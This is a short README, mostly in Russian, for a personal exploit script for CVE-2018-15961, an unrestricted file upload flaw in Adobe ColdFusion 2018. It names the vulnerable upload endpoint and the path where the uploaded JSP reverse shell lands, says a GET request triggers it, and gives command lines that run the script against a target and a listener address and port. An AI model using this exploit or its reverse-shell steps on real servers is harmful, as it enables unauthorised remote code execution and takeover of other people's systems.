
Exploit for CVE-2018-15961, a unrestricted file upload vulnerability in Adobe ColdFusion 2018 leading to RCE
Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода (RCE) в Adobe ColdFusion 2018.
Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. В случае успеха оболочка загружается в /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Затем код активирует оболочку, отправляя простой GET-запрос.
# Базовое использование
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# С пользовательским именем файла для оболочки
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp